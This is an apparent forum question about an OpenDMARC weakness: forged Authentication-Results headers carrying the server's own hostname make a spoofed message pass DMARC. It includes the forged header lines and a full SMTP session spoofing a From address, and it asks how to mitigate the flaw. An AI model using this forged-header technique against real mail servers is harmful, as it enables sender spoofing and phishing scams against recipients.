In order to have mail exchanger MX servers to be able to deliver mail to the primary MX, both SPF and DMARC checks needs to be bypassed when the connection is made from a secondary MX. For SPF this is quite straightforward: if the secondary MX performs the SPF check it can be whitelisted.
For DMARC this gets more complicated. OpenDMARC trusts Authentication-Results
headers from external DKIM and SPF checks. By default, it will trust Authentication-Results
from the same hostname, and any secondary servers would need to be listed here, too. This is not secret information, as it's usually the very same hostname that is advertised in SMTP banner.
## TrustedAuthservIDs string ## default HOSTNAME ## ## Specifies one or more "authserv-id" values to trust as relaying true ## upstream DKIM and SPF results. The default is to use the name of ## the MTA processing the message. To specify a list, separate each entry ## with a comma. The key word "HOSTNAME" will be replaced by the name of ## the host running the filter as reported by the gethostname(3) function. # # TrustedAuthservIDs HOSTNAME
Therefore, OpenDMARC can be easily bypassed by adding a single forged header:
Authentication-Results: <HOSTNAME>;
dkim=pass (1024-bit key; unprotected) header.d=example.com header.i=@example.com;
My questions: Is there any configuration parameters in OpenDMARC or other methods to mitigate this kind of attacks? Is this solved better in other DMARC implementations?
In this example attack:
- The
_dmarc.example.com
hasTXT "v=DMARC1; p=reject; aspf=s; adkim=s;
. - OpenDMARC + OpenDKIM are configured as milters in Postfix.
- SPF:
check_policy_service unix:private/policy-spf
- OpenDMARC has default configuration with more strict
RejectFailures true
.
Knowing the hostname (mx.example.com
) and using a working SPF domain for envelope sender it's possible to bypass OpenDMARC completely with no more than:
<-- 220 mx.example.com ESMTP Postfix (Debian/GNU)
--> HELO evil.example.net
<-- 250 mx.example.com
--> MAIL FROM:<someone.from@evil.example.net>
<-- 250 2.1.0 Ok
--> RCPT TO:<user@example.com>
<-- 250 2.1.5 Ok
--> DATA
<-- 354 End data with <CR><LF>.<CR><LF>
--> Authentication-Results: mx.example.com; spf=pass
--> Authentication-Results: mx.example.com;
--> dkim=pass (1024-bit key; unprotected) header.d=example.com header.i=@example.com;
--> From: <user@example.com>
--> To: <user@example.com>
--> Subject: forged Authentication-Results: mx.example.com;
The MX server supposedly checking all DKIM+SPF+DMARC will hapily queue and append:
Authentication-Results: mx.example.com; spf=pass (mailfrom) smtp.mailfrom=evil.example.net ...
Authentication-Results: mx.example.com; dmarc=pass (p=reject dis=none) header.from=example.com
Received: from smtp.evil.example.net (evil.example.net [198.51.100.80])
by mx.example.com (Postfix) with SMTP id D4AC64048A
for <user@example.com>;
The only way to distinguish this from genuine Authentication-Results
added by mx.example.com
is to manually revise the order of the Receiced
headers. I suppose we could see a new wave of "you have been hacked" scams with forged Authentication-Results
to cover fake From: <self>
.